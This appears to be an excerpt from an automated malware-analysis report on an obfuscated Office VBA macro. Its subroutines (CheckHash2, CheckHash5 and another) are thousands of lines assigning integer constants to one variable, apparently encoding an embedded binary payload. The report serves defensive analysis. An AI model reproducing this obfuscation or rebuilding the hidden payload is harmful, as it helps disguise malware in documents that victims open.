4052	Y = - 4012853
4053	Y = - 4736576
4054	Y = - 5460042
4055	Y = - 6183508
4056	Y = - 6775645
4057	Y = - 7104353
4058	Y = - 7499367
4059	Y = - 7236194
4060	Y = - 6841693
4061	Y = - 5591370
4062	Y = - 4275767
4063	Y = - 4341560
4064	Y = - 4407352
4065	Y = - 4473145
4066	Y = - 12894649
4067	Y = - 14472906
4068	Y = - 14538698
4069	Y = - 2146627821
4070	Y = 285212672
4071	For I = 1 To 2
4072	Y = 36778289
4073	Next
4074	Y = 87109937
4075	Y = 153824043
4076	Y = 221327665
4077	Y = 305213745
4078	Y = 321990961
4079	Y = 271659313
4080	Y = 204550449
4081	Y = 120664369
4082	Y = 53555505
4083	Y = 36778289
4084	For I = 1 To 9
4085	Y = 0
4086	Next
4087	Y = 53621298
4088	Y = 1093808690
4089	Y = - 490683705
4090	Y = - 3157545
4091	Y = - 3223082
4092	Y = - 3288875
4093	Y = - 3880754
4094	Y = - 4933443
4095	Y = - 5196614
4096	Y = - 4604990
4097	Y = - 4275512
4098	Y = - 3486511
4099	Y = - 3223340
4100	Y = - 3091753
4101	Y = - 3880755
4102	Y = - 4999492
4103	Y = - 6907230
4104	Y = - 8223089
4105	Y = - 8420212
4106	Y = - 5591626
4107	Y = - 4341559
4108	Y = - 4407352
4109	Y = - 13223359
4110	Y = - 14802130
4111	Y = - 14933458
4112	Y = - 1777397484
4113	Y = 1176510496
4114	Y = 1178879045
4115	Y = 891232031
4116	Y = 856098567
4117	Y = 1124534283
4118	Y = 604242948
4119	Y = 202642452
4120	Y = 103887153
4121	Y = 87109937
4122	Y = 70332721
4123	Y = 36778289
4124	Y = 20001073
4125	For I = 1 To 5
4126	Y = 0
4127	Next
4128	Y = 20066866
4129	Y = 305279538
4130	Y = 691155506
4131	Y = 674312497
4132	Y = 639310619
4133	Y = 1007883027
4134	Y = 1983198517
4135	Y = - 440549180
4136	Y = - 3091496
4137	Y = - 3157289
4138	Y = - 4341561
4139	Y = - 5065029
4140	Y = - 3881012
4141	Y = - 2894374
4142	Y = - 2828581
4143	Y = - 2762788
4144	Y = - 2631203
4145	Y = - 2565409
4146	Y = - 2565666
4147	Y = - 2631203
4148	Y = - 2499873
4149	Y = - 2368032
4150	Y = - 3420719
4151	Y = - 6644059
4152	Y = - 8617846
4153	Y = - 7236194
4154	Y = - 4275767
4155	Y = - 5328455
4156	Y = - 12302772
4157	Y = - 13026237
4158	Y = - 44607136
4159	Y = - 528317046
4160	Y = - 4670525
4161	Y = - 597202321
4162	Y = - 483775180
4163	Y = - 13354942
4164	Y = - 1205590483
4165	Y = 587202560
4166	Y = 35133464
4167	For I = 1 To 9
4168	Y = 0
4169	Next
4170	Y = 254947890
4171	Y = 1532779870
4172	Y = - 254618408
4173	Y = - 1197366876
4174	Y = - 1302437791
4175	Y = - 78951087
4176	Y = - 123098192
4177	Y = - 2894374
4178	Y = - 2960167
4179	Y = - 4407612
4180	Y = - 4670272
4181	Y = - 3157546
4182	For I = 1 To 2
4183	Y = - 2762788
4184	Next
4185	Y = - 4539456
4186	Y = - 6973798
4187	Y = - 9078917
4188	Y = - 42765192
4189	Y = - 108228975
4190	Y = - 105531461
4191	Y = - 2236702
4192	Y = - 2170653
4193	Y = - 2368031
4194	Y = - 2302239
4195	Y = - 5130821
4196	Y = - 8223090
4197	Y = - 7959917
4198	Y = - 4275767
4199	Y = - 5262662
4200	Y = - 4407352
4201	Y = - 4473145
4202	Y = - 4538939
4203	Y = - 4604732
4204	Y = - 4670524
4205	Y = - 11644843
4206	Y = - 11841963
4207	Y = - 11710377
4208	Y = 1796544024
4209	Y = 251658240
4210	For I = 1 To 8
4211	Y = 0
4212	Next
4213	Y = 20066866
4214	Y = 758264370
4215	Y = - 927286081
4216	Y = - 2499617
4217	Y = - 2565410
4218	Y = - 2630947
4219	Y = - 2696739
4220	Y = - 2762532
4221	Y = - 2828325
4222	Y = - 4209976
4223	Y = - 4538687
4224	Y = - 2828581
4225	Y = - 2696739
4226	Y = - 4539200
4227	Y = - 6512733
4228	Y = - 8354165
4229	Y = - 76186752
4230	Y = - 681351318
4231	Y = - 1791542981
4232	Y = 1931748388
4233	Y = 1966158130
4234	Y = - 1890890419
4235	Y = - 777278289
4236	Y = - 1973530
4237	Y = - 2170909
4238	Y = - 1973274
4239	Y = - 4538941
4240	Y = - 8091759
4241	Y = - 7499622
4242	Y = - 4210230
4243	Y = - 4276023
4244	Y = - 4341816
4245	Y = - 4407353
4246	Y = - 4473145
4247	Y = - 4538939
4248	Y = - 5657422
4249	Y = - 5328461
4250	Y = - 3880757
4251	Y = - 492459862
4252	Y = 637534208
4253	For I = 1 To 8
4254	Y = 0
4255	Next
4256	Y = 103952946
4257	Y = 1449156961
4258	Y = - 2367775
4259	Y = - 2368032
4260	Y = - 2499361
4261	Y = - 2565153
4262	Y = - 2630946
4263	Y = - 2696739
4264	Y = - 3617841
4265	Y = - 4604736
4266	Y = - 2828839
4267	Y = - 2631202
4268	Y = - 5394252
4269	Y = - 7170148
4270	Y = - 8419958
4271	Y = - 747210114
4272	Y = 1175194636
4273	Y = 824123167
4274	Y = 707603757
4275	Y = 640758065
4276	Y = 573649201
4277	Y = 640758065
4278	Y = 976368178
4279	Y = - 2038793605
4280	Y = - 237314850
4281	Y = - 1841945
4282	Y = - 1578774
4283	Y = - 5262407
4284	Y = - 8552054
4285	Y = - 6512728
4286	Y = - 4209974
4287	Y = - 4275767
4288	Y = - 4341559
4289	Y = - 4407352
4290	Y = - 4473145
4291	Y = - 5328713
4292	Y = - 5525582
4293	Y = - 4143927
4294	Y = - 391401806
4295	Y = 620756992
4296	For I = 1 To 8
4297	Y = 0
4298	Next
4299	Y = 120730162
4300	Y = 1517976445
4301	Y = - 254355238
4302	Y = - 2302239
4303	Y = - 2368032
4304	Y = - 2433824
4305	Y = - 2499617
4306	Y = - 2696996
4307	Y = - 4736321
4308	Y = - 3354668
4309	Y = - 3091497
4310	Y = - 5328460
4311	Y = - 6906719
4312	Y = - 7301477
4313	Y = - 1368822416
4314	Y = 687997442
4315	Y = 253368858
4316	Y = 271659313
4317	Y = 355545393
4318	Y = 338768177
4319	Y = 271659313
4320	Y = 204550449
4321	Y = 187773233
4322	Y = 456274482
4323	Y = 1684761708
4324	Y = - 304094750
4325	Y = - 1776151
4326	Y = - 1841688
4327	Y = - 6446680
4328	Y = - 9143933
4329	Y = - 4473147
4330	Y = - 4209974
4331	Y = - 4275766
4332	Y = - 4276023
4333	Y = - 6447196
4334	Y = - 7039078
4335	Y = - 5393995
4336	Y = - 729380468
4337	Y = 1023410176
4338	Y = 201326592
4339	For I = 1 To 8
4340	Y = 0
4341	Next
4342	Y = 53621298
4343	Y = 439497266
4344	Y = 1835559273
4345	Y = - 254354982
4346	Y = - 2301982
4347	Y = - 2367775
4348	Y = - 2433568
4349	Y = - 3814707
4350	Y = - 4275513
4351	Y = - 2499617
4352	Y = - 5723218
4353	Y = - 5986130
4354	Y = - 6117715
4355	Y = - 1167825045
4356	Y = 620756992
4357	Y = 83886080
4358	Y = 36778289
4359	Y = 87109937
4360	Y = 120664369
4361	Y = 103887153
4362	Y = 87109937
4363	Y = 53555505
4364	For I = 1 To 2
4365	Y = 36778289
4366	Next
4367	Y = 322056754
4368	Y = 2055899787
4369	Y = - 85201682
4370	Y = - 1315602
4371	Y = - 3289133
4372	Y = - 8157040
4373	Y = - 7104609
4374	Y = - 4078388
4375	Y = - 4144181
4376	Y = - 7170662
4377	Y = - 8815231
4378	Y = - 7696749
4379	Y = - 714511248
4380	Y = 922746880
4381	Y = 150994944
4382	For I = 1 To 10
4383	Y = 0
4384	Next
4385	Y = 53621298
4386	Y = 439497266
4387	Y = 1969316451
4388	Y = - 254421030
4389	Y = - 2236446
4390	Y = - 2302239
4391	Y = - 4538942
4392	Y = - 2959911
4393	Y = - 4802628
4394	Y = - 5920594
4395	Y = - 4867905
4396	Y = - 209418354
4397	Y = 905969664
4398	Y = 100663296
4399	For I = 1 To 9
4400	Y = 0
4401	Next
4402	Y = 36844082
4403	Y = 556937778
4404	Y = - 993342515
4405	Y = - 1315602
4406	Y = - 1381395
4407	Y = - 6249044
4408	Y = - 9078140
4409	Y = - 4012595
4410	Y = - 5657678
4411	Y = - 11513256
4412	Y = - 10723224
4413	Y = - 145401760
4414	Y = 1392508928
4415	Y = 184549376
4416	For I = 1 To 12
4417	Y = 0
4418	Next
4419	Y = 103952946
4420	Y = 1244803634
4421	Y = - 254289444
4422	Y = - 2170397
4423	Y = - 2959912
4424	Y = - 4341563
4425	Y = - 2302238
4426	Y = - 7697518
4427	Y = - 7828333
4428	Y = - 8091505
4429	Y = - 2044714970
4430	Y = 301989888
4431	For I = 1 To 11
4432	Y = 0
4433	Next
4434	Y = 120730162
4435	Y = 1382771563
4436	Y = - 101649934
4437	Y = - 855308
4438	Y = - 3881012
4439	Y = - 8552053
4440	Y = - 5591627
4441	Y = - 3946547
4442	Y = - 12697785
4443	For I = 1 To 2
4444	Y = - 13618626
4445	Next
4446	Y = 1678708755
4447	Y = 134217728
4448	For I = 1 To 10
4449	Y = 0
4450	Next
4451	Y = 36844082
4452	Y = 204616242
4453	Y = 607269426
4454	Y = 2121100911
4455	Y = - 2038811
4456	Y = - 2104604
4457	Y = - 3551791
4458	Y = - 3617841
4459	Y = - 4736579
4460	Y = - 9538951
4461	Y = - 11183262
4462	Y = - 130005683
4463	Y = 922746880
4464	Y = 50331648
4465	For I = 1 To 12
4466	Y = 0
4467	Next
4468	Y = 573714994
4469	Y = - 589242143
4470	Y = - 920844
4471	Y = - 2499618
4472	Y = - 7499111
4473	Y = - 6972766
4474	Y = - 3880754
4475	Y = - 11842221
4476	Y = - 13881801
4477	Y = - 13947337
4478	Y = - 1323886564
4479	Y = 1158088455
4480	Y = 620822785
4481	Y = 369098752
4482	Y = 150994944
4483	Y = 16777216
4484	For I = 1 To 5
4485	Y = 0
4486	Next
4487	Y = 221393458
4488	Y = 825373234
4489	Y = 1768713581
4490	Y = - 1668576116
4491	Y = - 726486092
4492	Y = - 1907482
4493	Y = - 1973275
4494	Y = - 3946549
4495	Y = - 3025961
4496	Y = - 6117975
4497	Y = - 12170157
4498	Y = - 14603984
4499	Y = - 734840770
4500	Y = 553648128
4501	For I = 1 To 13
4502	Y = 0
4503	Next
4504	Y = 271725106
4505	Y = - 1278489652
4506	Y = - 789259
4507	Y = - 1381395
4508	Y = - 6709595
4509	Y = - 7959917
4510	Y = - 3683888
4511	Y = - 3815217
4512	Y = - 6184022
4513	Y = - 8486265
4514	Y = - 9605002
4515	Y = - 195799203
4516	Y = - 817806775
4517	Y = - 1556727746
4518	Y = 1511989540
4519	Y = 318767104
4520	For I = 1 To 5
4521	Y = 0
4522	Next
4523	Y = 724709938
4524	Y = - 505750563
4525	Y = - 1644310
4526	Y = - 1710103
4527	Y = - 1775896
4528	Y = - 1841432
4529	Y = - 1907225
4530	Y = - 4538686
4531	Y = - 2499361
4532	Y = - 5723217
4533	Y = - 11117212
4534	Y = - 11972264
4535	Y = - 1690089654
4536	Y = 335544320
4537	For I = 1 To 13
4538	Y = 0
4539	Next
4540	Y = 70398514
4541	Y = 1922932125
4542	Y = - 394758
4543	Y = - 460295
4544	Y = - 6052179
4545	Y = - 9275776
4546	Y = - 3617839
4547	Y = - 3683632
4548	Y = - 3814961
4549	Y = - 3880754
4550	Y = - 3946546
4551	Y = - 4012595
4552	Y = - 8354679
4553	For I = 1 To 2
4554	Y = - 7104354
4555	Next
4556	Y = 822083584
4557	For I = 1 To 5
4558	Y = 0
4559	Next
4560	Y = 1026699826
4561	Y = - 1446932
4562	Y = - 1578261
4563	Y = - 1578518
4564	Y = - 1644310
4565	Y = - 1710103
4566	Y = - 1775896
4567	Y = - 4473150
4568	Y = - 2039068
4569	Y = - 5328459
4570	For I = 1 To 2
4571	Y = - 8551542
4572	Next
4573	Y = - 2025502902
4574	Y = 268435456
4575	For I = 1 To 14
4576	Y = 0
4577	Next
4578	Y = 1298424932
4579	Y = - 197123
4580	Y = - 65794
4581	Y = - 5722958
4582	Y = - 9275519
4583	Y = - 3552046
4584	Y = - 3617839
4585	Y = - 3683632
4586	Y = - 3814961
4587	Y = - 3880753
4588	Y = - 3946546
4589	Y = - 8617852
4590	For I = 1 To 2
4591	Y = - 7038561
4592	Next
4593	Y = 1056964608
4594	End Sub

Subroutine
CheckHash2APIs: 0, Strings: 0, Number of lines: 789, Relevance: 0.789

Line	Instruction	Meta Information
2965	Private Sub CheckHash2()
2966	Y = 1879068416	executed
2967	Y = 1845519616
2968	Y = 687876096
2969	Y = 167775488
2970	Y = 1327824896
2971	Y = 536899072
2972	Y = 1912620288
2973	Y = 1862300160
2974	Y = 536900096
2975	Y = 1862289152
2976	Y = 1862292480
2977	Y = 1275076608
2978	Y = 218128128
2979	Y = 2560
2980	Y = 1761625199
2981	Y = 536898816
2982	Y = 1744851712
2983	Y = 536892160
2984	Y = 1929404672
2985	Y = 1392517120
2986	Y = 1912632320
2987	Y = 1845520640
2988	Y = 973104896
2989	Y = 1744851712
2990	Y = 1023431424
2991	Y = 1660953088
2992	Y = 1543518720
2993	Y = 1929401600
2994	Y = 1912628480
2995	Y = 1543533312
2996	Y = 1962954752
2997	Y = 1811964416
2998	Y = 1660971264
2999	Y = 1660967936
3000	Y = 1912632320
3001	Y = 1879075840
3002	Y = 1845518592
3003	Y = 1811965184
3004	Y = 1694510592
3005	Y = 1694529536
3006	Y = 218112512
3007	Y = 2560
3008	Y = 1711294763
3009	Y = 1308631040
3010	Y = 1946185472
3011	Y = 1174413312
3012	Y = 671106304
3013	Y = 1744851712
3014	Y = 687887104
3015	Y = 1409294336
3016	Y = 1694525440
3017	Y = 218131968
3018	Y = 2560
3019	Y = 1879068497
3020	Y = 1845519616
3021	Y = 1392517120
3022	Y = 1392535552
3023	Y = 1174413312
3024	Y = 1912631040
3025	Y = 1107304448
3026	Y = 1845520640
3027	Y = 1912627456
3028	Y = 536901888
3029	Y = 1660961024
3030	Y = 1694524160
3031	Y = 1929409280
3032	Y = 1459625984
3033	Y = 1761636864
3034	Y = 1694528512
3035	Y = 1090527232
3036	Y = 536900352
3037	Y = 822092544
3038	Y = 167775488
3039	Y = 1126498304
3040	Y = 1811964160
3041	Y = 536898560
3042	Y = 1744847616
3043	Y = 1660970240
3044	Y = 1207986944
3045	Y = 1929404672
3046	Y = 671115264
3047	Y = 218114304
3048	Y = 2560
3049	Y = 1627407133
3050	Y = 1811966976
3051	Y = 1124081664
3052	Y = 1694525440
3053	Y = 1795187456
3054	Y = 1627408384
3055	Y = 1744859904
3056	Y = 671678464
3057	Y = 218114304
3058	Y = 2560
3059	Y = 1811956501
3060	Y = 1929408256
3061	Y = 536896768
3062	Y = 822092544
3063	Y = 167775488
3064	Y = 1158742016
3065	Y = 1677749760
3066	Y = 1224744960
3067	Y = 218129920
3068	Y = 2560
3069	Y = 1627407139
3070	Y = 1811966976
3071	Y = 1392517120
3072	Y = 1694525440
3073	Y = 1811966976
3074	Y = 1392519168
3075	Y = 1392535552
3076	Y = 218114304
3077	Y = 2560
3078	Y = 1593854987
3079	Y = 218118656
3080	Y = 2560
3081	Y = - 352145698
3082	Y = 1081193629
3083	Y = - 1480302718
3084	Y = - 1039367212
3085	Y = 2058815488
3086	Y = 874075740
3087	Y = - 1341617696
3088	Y = 293560127
3089	Y = 54135509
3090	Y = 33619968
3091	Y = 265734
3092	Y = 101584385
3093	Y = 268501248
3094	Y = 328989
3095	Y = 85790209
3096	Y = 16908293
3097	Y = 1663045134
3098	Y = 1912632320
3099	Y = 1879075840
3100	Y = 1845518592
3101	Y = 1811965184
3102	Y = 1879073024
3103	For I = 1 To 2
3104	Y = 1879076864
3105	Next
3106	Y = 50360320
3107	Y = 50926086
3108	Y = 51646982
3109	Y = 51384838
3110	Y = 67965446
3111	Y = 469827840
3112	Y = 16785411
3113	Y = 286393859
3114	Y = 301998084
3115	Y = 18875665
3116	Y = 101782017
3117	Y = 469828128
3118	Y = 671356178
3119	Y = 135336448
3120	Y = - 507713167
3121	Y = - 1673336559
3122	Y = 420611587
3123	Y = 67634690
3124	Y = 13
3125	Y = 33562627
3126	Y = 236783107
3127	Y = 303367686
3128	Y = 68026653
3129	Y = 234946848
3130	Y = 234889219
3131	Y = 302055429
3132	Y = 331277
3133	Y = 554828033
3134	Y = 16916485
3135	Y = 396802
3136	Y = 235798787
3137	Y = 35652892
3138	Y = 135797761
3139	Y = 302056480
3140	Y = 134749233
3141	Y = 302122758
3142	Y = 86053409
3143	Y = 134349344
3144	Y = 17237000
3145	Y = 17047826
3146	Y = 50331648
3147	Y = 101187616
3148	Y = 235799296
3149	Y = 264200
3150	Y = 68028417
3151	Y = 134414592
3152	Y = 234946564
3153	Y = 33555715
3154	Y = 101584398
3155	Y = 235799559
3156	Y = 117705226
3157	Y = 134875650
3158	Y = 235799815
3159	Y = 85788677
3160	Y = 301989892
3161	Y = 2098253
3162	Y = 537264925
3163	Y = 486874369
3164	Y = 100665859
3165	Y = 235802126
3166	Y = 1427179528
3167	Y = 234948355
3168	Y = 486604805
3169	Y = 537398789
3170	Y = 286130435
3171	Y = 56693085
3172	Y = 118095904
3173	Y = 487064352
3174	Y = 117966853
3175	Y = 486605600
3176	Y = 134744069
3177	Y = 85787399
3178	Y = 1494374674
3179	Y = 302057220
3180	Y = 18875665
3181	Y = 74256897
3182	Y = 1829896455
3183	Y = 486539269
3184	Y = 537162002
3185	Y = 74780928
3186	Y = 2031222816
3187	Y = 486735881
3188	Y = 286133774
3189	Y = 361856
3190	Y = 242815489
3191	Y = 235143175
3192	Y = 235802126
3193	Y = 33619972
3194	Y = 67111182
3195	Y = - 2146365944
3196	Y = 117965461
3197	Y = 234947072
3198	Y = 479821841
3199	Y = 1897009415
3200	Y = 235802141
3201	Y = 304157198
3202	Y = 235802145
3203	Y = 487072018
3204	Y = 487092498
3205	Y = 236783630
3206	Y = 268435733
3207	Y = 1801675074
3208	Y = 1970238055
3209	Y = 1867998318
3210	Y = 1919249266
3211	Y = 352649216
3212	Y = 234954002
3213	Y = 301998085
3214	Y = 100968832
3215	Y = 162627602
3216	Y = 268501792
3217	Y = 270274588
3218	Y = 18875420
3219	Y = 537264641
3220	Y = - 2146369279
3221	Y = 18876089
3222	Y = - 1115680511
3223	Y = 302319369
3224	Y = 471929377
3225	Y = 117840924
3226	Y = 302907907
3227	Y = 2098465
3228	Y = 96829457
3229	Y = - 2146369504
3230	Y = 981
3231	Y = 50333198
3232	Y = 235802126
3233	Y = 16973830
3234	Y = 620891662
3235	Y = - 2146299872
3236	Y = 270274761
3237	For I = 1 To 7
3238	Y = 270274588
3239	Next
3240	Y = 16778268
3241	Y = 539302926
3242	Y = 470810897
3243	For I = 1 To 8
3244	Y = 470817808
3245	Next
3246	Y = 301998085
3247	Y = 537257344
3248	Y = - 310373888
3249	Y = 302063622
3250	Y = 85774720
3251	Y = - 2146303968
3252	Y = 18876109
3253	Y = 231047185
3254	Y = 16850950
3255	Y = 80052241
3256	Y = 234946816
3257	Y = 16850954
3258	Y = - 41938411
3259	Y = 83890945
3260	Y = - 2129526752
3261	Y = 18875905
3262	Y = 134578450
3263	Y = 352329737
3264	Y = 31031313
3265	Y = 352714771
3266	Y = 31031313
3267	Y = 2098190
3268	Y = 393235
3269	Y = 235800579
3270	Y = 18875650
3271	Y = 83890945
3272	Y = 320667680
3273	Y = 856124416
3274	For I = 1 To 2
3275	Y = 247562258
3276	Next
3277	Y = 314933265
3278	Y = - 2146317952
3279	Y = - 981462587
3280	Y = 315457554
3281	Y = 554881408
3282	For I = 1 To 2
3283	Y = 554836242
3284	Next
3285	Y = 18682389
3286	Y = 487724302
3287	Y = 1897008641
3288	Y = 302522642
3289	Y = - 2146365919
3290	Y = - 713027131
3291	Y = 298156049
3292	Y = - 2146314880
3293	Y = - 713027131
3294	Y = 298156049
3295	Y = 471651712
3296	For I = 1 To 3
3297	Y = 471604252
3298	Next
3299	Y = 136059932
3300	Y = 141627933
3301	Y = - 645918443
3302	Y = 117706241
3303	Y = 84412418
3304	Y = 302055712
3305	Y = 16778345
3306	Y = 537135118
3307	Y = 224989696
3308	Y = - 2129524473
3309	Y = 135138833
3310	Y = 134744072
3311	Y = 18875912
3312	Y = 427888897
3313	Y = 16850948
3314	Y = 67592
3315	Y = 3
3316	Y = 17301504
3317	Y = 2048
3318	Y = 503316480
3319	Y = 65537
3320	Y = 1461060180
3321	Y = 1315987826
3322	Y = 2017816175
3323	Y = 1953523043
3324	Y = 1416523625
3325	Y = 2003792488
3326	Y = 17564019
3327	Y = 774964992
3328	Y = 774909488
3329	Y = 687865904
3330	Y = 908328961
3331	Y = 862139190
3332	Y = 758462306
3333	Y = 1717920049
3334	Y = 845427757
3335	Y = 909651297
3336	Y = 1630364467
3337	Y = 1631007028
3338	Y = 912339257
3339	Y = 3160164
3340	Y = 66816
3341	Y = 436207616
3342	Y = 1293221889
3343	Y = 1869767529
3344	Y = 1952870259
3345	Y = 1919894304
3346	Y = 1634889584
3347	Y = 1852795252
3348	Y = 18612224
3349	Y = 1866667776
3350	Y = 1869771886
3351	Y = 1634738284
3352	Y = 543974766
3353	Y = 1886220131
3354	Y = 1852141167
3355	Y = 116
3356	Y = 21076
3357	For I = 1 To 2
3358	Y = 0
3359	Next
3360	Y = 21102
3361	Y = 8192
3362	For I = 1 To 5
3363	Y = 0
3364	Next
3365	Y = 21088
3366	For I = 1 To 2
3367	Y = 0
3368	Next
3369	Y = 1130299392
3370	Y = 2017817199
3371	Y = 1767984485
3372	Y = 1936523374
3373	Y = 1701998435
3374	Y = 1818504805
3375	Y = 108
3376	Y = 637468672
3377	Y = 4202496
3378	For I = 1 To 96
3379	Y = 0
3380	Next
3381	Y = 1441267592
3382	Y = 0
3383	Y = 2
3384	Y = 284
3385	Y = 24604
3386	Y = 14364
3387	Y = 1396986706
3388	Y = 756415441
3389	Y = 1191211168
3390	Y = 415809177
3391	Y = 580166761
3392	Y = 1
3393	Y = 1348221509
3394	Y = 1701474162
3395	Y = 1551070307
3396	Y = 1818650191
3397	Y = 1953853266
3398	Y = 1546809957
3399	Y = 1818650191
3400	Y = 1953853266
3401	Y = 1546809957
3402	Y = 1550475887
3403	Y = 1701602642
3404	Y = 1550152545
3405	Y = 1819440227
3406	Y = 1701732720
3407	Y = 1685073516
3408	Y = 98
3409	For I = 1 To 102
3410	Y = 0
3411	Next
3412	Y = 262144
3413	Y = 3
3414	Y = - 2147483600
3415	Y = 14
3416	Y = - 2147483560
3417	Y = 16
3418	Y = - 2147483536
3419	Y = 24
3420	Y = - 2147483512
3421	For I = 1 To 3
3422	Y = 0
3423	Next
3424	Y = 196608
3425	Y = 2
3426	Y = - 2147483488
3427	Y = 3
3428	Y = - 2147483464
3429	Y = 4
3430	Y = - 2147483440
3431	For I = 1 To 3
3432	Y = 0
3433	Next
3434	Y = 65536
3435	Y = 32512
3436	Y = - 2147483416
3437	For I = 1 To 3
3438	Y = 0
3439	Next
3440	Y = 65536
3441	Y = 1
3442	Y = - 2147483392
3443	For I = 1 To 3
3444	Y = 0
3445	Next
3446	Y = 65536
3447	Y = 1
3448	Y = - 2147483368
3449	For I = 1 To 3
3450	Y = 0
3451	Next
3452	Y = 65536
3453	Y = 0
3454	Y = 304
3455	For I = 1 To 3
3456	Y = 0
3457	Next
3458	Y = 65536
3459	Y = 0
3460	Y = 320
3461	For I = 1 To 3
3462	Y = 0
3463	Next
3464	Y = 65536
3465	Y = 0
3466	Y = 336
3467	For I = 1 To 3
3468	Y = 0
3469	Next
3470	Y = 65536
3471	Y = 0
3472	Y = 352
3473	For I = 1 To 3
3474	Y = 0
3475	Next
3476	Y = 65536
3477	Y = 0
3478	Y = 368
3479	For I = 1 To 3
3480	Y = 0
3481	Next
3482	Y = 65536
3483	Y = 0
3484	Y = 384
3485	Y = 33952
3486	Y = 9640
3487	For I = 1 To 2
3488	Y = 0
3489	Next
3490	Y = 43592
3491	Y = 4264
3492	For I = 1 To 2
3493	Y = 0
3494	Next
3495	Y = 47856
3496	Y = 1128
3497	For I = 1 To 2
3498	Y = 0
3499	Next
3500	Y = 48984
3501	Y = 48
3502	For I = 1 To 2
3503	Y = 0
3504	Next
3505	Y = 33168
3506	Y = 780
3507	For I = 1 To 2
3508	Y = 0
3509	Next
3510	Y = 49032
3511	Y = 3366
3512	For I = 1 To 2
3513	Y = 0
3514	Next
3515	Y = 3408652
3516	Y = 5636096
3517	Y = 6226003
3518	Y = 4522070
3519	Y = 5439570
3520	Y = 5177417
3521	Y = 6225998
3522	Y = 5111881
3523	Y = 5177414
3524	Y = 0
3525	Y = - 17890115
3526	For I = 1 To 2
3527	Y = 65536
3528	Next
3529	Y = 0
3530	Y = 65536
3531	Y = 0
3532	Y = 63
3533	Y = 0
3534	Y = 4
3535	Y = 1
3536	For I = 1 To 3
3537	Y = 0
3538	Next
3539	Y = 68
3540	Y = 5636097
3541	Y = 7471201
3542	Y = 6881350
3543	Y = 6619244
3544	Y = 7209033
3545	Y = 7274598
3546	Y = 0
3547	Y = 262180
3548	Y = 5505024
3549	Y = 6357106
3550	Y = 7536750
3551	Y = 6357100
3552	Y = 6881396
3553	Y = 7209071
3554	Y = 0
3555	Y = 78643200
3556	Y = 620
3557	Y = 5439489
3558	Y = 7471220
3559	Y = 7209065
3560	Y = 4587623
3561	Y = 7077993
3562	Y = 4784229
3563	Y = 6684782
3564	Y = 111
3565	Y = 584
3566	Y = 3145729
3567	For I = 1 To 2
3568	Y = 3145776
3569	Next
3570	Y = 6422580
3571	Y = 48
3572	Y = 1572936
3573	Y = 4390913
3574	Y = 7143535
3575	Y = 6619245
3576	Y = 7602286
3577	Y = 115
3578	Y = 7274563
3579	Y = 7602286
3580	Y = 7274610
3581	Y = 2097260
3582	Y = 6357104
3583	Y = 6619246
3584	Y = 2097260
3585	Y = 7274595
3586	Y = 7340141
3587	Y = 7209071
3588	Y = 7209061
3589	Y = 116
3590	Y = 1441868
3591	Y = 4390913
3592	Y = 7143535
3593	Y = 6357104
3594	Y = 7929966
3595	Y = 6357070
3596	Y = 6619245
3597	Y = 0
3598	Y = 6881357
3599	Y = 7471203
3600	Y = 7536751
3601	Y = 6684783
3602	Y = 2097268
3603	Y = 7274563
3604	Y = 7340146
3605	Y = 7471215
3606	Y = 7602273
3607	Y = 7274601
3608	Y = 110
3609	Y = 1572952
3610	Y = 4587521
3611	Y = 7077993
3612	Y = 4456549
3613	Y = 7536741
3614	Y = 7471203
3615	Y = 7340137
3616	Y = 6881396
3617	Y = 7209071
3618	Y = 0
3619	Y = 7274563
3620	Y = 7602286
3621	Y = 7274610
3622	Y = 2097260
3623	Y = 6357104
3624	Y = 6619246
3625	Y = 2097260
3626	Y = 7274595
3627	Y = 7340141
3628	Y = 7209071
3629	Y = 7209061
3630	Y = 116
3631	Y = 524336
3632	Y = 4587521
3633	Y = 7077993
3634	Y = 5636197
3635	Y = 7471205
3636	Y = 6881395
3637	Y = 7209071
3638	Y = 0
3639	Y = 3014705
3640	For I = 1 To 2
3641	Y = 3014704
3642	Next
3643	Y = 48
3644	Y = 917564
3645	Y = 4784129
3646	Y = 7602286
3647	Y = 7471205
3648	Y = 6357102
3649	Y = 5111916
3650	Y = 7143521
3651	Y = 101
3652	Y = 7602275
3653	Y = 7078002
3654	Y = 6357104
3655	Y = 6619246
3656	Y = 3014764
3657	Y = 7864421
3658	Y = 101
3659	Y = 131112
3660	Y = 4980737
3661	Y = 6750309
3662	Y = 7077985
3663	Y = 7274563
3664	Y = 7929968
3665	Y = 6881394
3666	Y = 6815847
3667	Y = 116
3668	Y = 32
3669	Y = 917572
3670	Y = 5177345
3671	Y = 6881394
3672	Y = 6881383
3673	Y = 6357102
3674	Y = 4587628
3675	Y = 7077993
3676	Y = 7209061
3677	Y = 7143521
3678	Y = 101
3679	Y = 7602275
3680	Y = 7078002
3681	Y = 6357104
3682	Y = 6619246
3683	Y = 3014764
3684	Y = 7864421
3685	Y = 101
3686	Y = 524340
3687	Y = 5242881
3688	Y = 7274610
3689	Y = 7667812
3690	Y = 7602275
3691	Y = 6619222
3692	Y = 7536754
3693	Y = 7274601
3694	Y = 110
3695	Y = 3014705
3696	For I = 1 To 2
3697	Y = 3014704
3698	Next
3699	Y = 48
3700	Y = 524344
3701	Y = 4259841
3702	Y = 7536755
3703	Y = 7143525
3704	Y = 7077986
3705	Y = 2097273
3706	Y = 6619222
3707	Y = 7536754
3708	Y = 7274601
3709	Y = 110
3710	Y = 3014705
3711	For I = 1 To 2
3712	Y = 3014704
3713	Next
3714	Y = 48
3715	Y = 0
3716	Y = 40
3717	Y = 48
3718	Y = 96
3719	Y = 2097153
3720	Y = 0
3721	Y = 9600
3722	For I = 1 To 25
3723	Y = 0
3724	Next
3725	Y = 20001073
3726	Y = 70332721
3727	For I = 1 To 2
3728	Y = 103887153
3729	Next
3730	Y = 70332721
3731	Y = 20066866
3732	For I = 1 To 3
3733	Y = 0
3734	Next
3735	Y = 20001073
3736	Y = 36778289
3737	Y = 70332721
3738	Y = 53555505
3739	Y = 36844082
3740	Y = 20066866
3741	For I = 1 To 32
3742	Y = 0
3743	Next
3744	Y = 36778289
3745	Y = 170996017
3746	Y = 405877041
3747	Y = 590426417
3748	Y = 607203633
3749	Y = 456208689
3750	Y = 238104881
3751	Y = 87109937
3752	Y = 20001073
3753	End Sub

Subroutine
CheckHash5APIs: 0, Strings: 0, Number of lines: 746, Relevance: 0.746

Line	Instruction	Meta Information
5313	Private Sub CheckHash5()
5314	For I = 1 To 213	executed
5315	Y = 0
5316	Next
5317	Y = 486080511
5318	Y = 65295
5319	Y = 15794175
5320	Y = 65287
5321	Y = 64767
5322	Y = 3843
